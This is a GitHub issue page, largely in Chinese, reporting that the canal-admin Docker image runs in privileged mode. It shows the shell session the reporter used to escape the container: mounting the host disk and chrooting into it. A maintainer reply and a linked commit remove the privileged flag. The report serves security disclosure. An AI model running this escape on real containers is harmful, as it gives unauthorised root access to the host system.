We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
canal-admin 默认的启动命令
实际的启动命令
docker run -d --privileged=true -it -h 192.168.88.42 -e server.port=8089 -e canal.adminUser=admin -e canal.adminPasswd=admin --name=canal-admin -p 8089:8089 -m 1024m canal/canal-admin
该方式启动使用了特权模式,会导致可直接逃逸到宿主机内
[root@192 admin]# mkdir /tmp/mnt [root@192 admin]# fdisk -l Disk /dev/sda: 32.2 GB, 32212254720 bytes, 62914560 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0x000a1816 Device Boot Start End Blocks Id System /dev/sda1 * 2048 62914526 31456239+ 83 Linux [root@192 admin]# mount /dev/sda1 /tmp/mnt [root@192 admin]# cd /tmp/mnt [root@192 mnt]# chroot ./ bash [root@192 /]# ls bin boot data dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
If there is an exception, please attach the exception trace:
Just put your stack trace here!
The text was updated successfully, but these errors were encountered:
# systemctl start sshd # systemctl start crond
已经去掉了systemctl的启动,可以忽略掉特权启动的属性
Sorry, something went wrong.
fixed issue #5337 , remove docker privileged
ebb5410
agapple
No branches or pull requests
environment
Issue Description
canal-admin 默认的启动命令


实际的启动命令

该方式启动使用了特权模式,会导致可直接逃逸到宿主机内
Steps to reproduce
Expected behaviour
Actual behaviour
If there is an exception, please attach the exception trace:
The text was updated successfully, but these errors were encountered: